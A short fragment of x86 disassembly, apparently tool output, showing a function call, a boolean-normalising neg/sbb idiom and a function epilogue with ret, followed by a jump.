mov dword [esp + 0x34], eax
mov ecx, esi
call fcn.00410466
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
xor eax, eax
jmp 0x41062a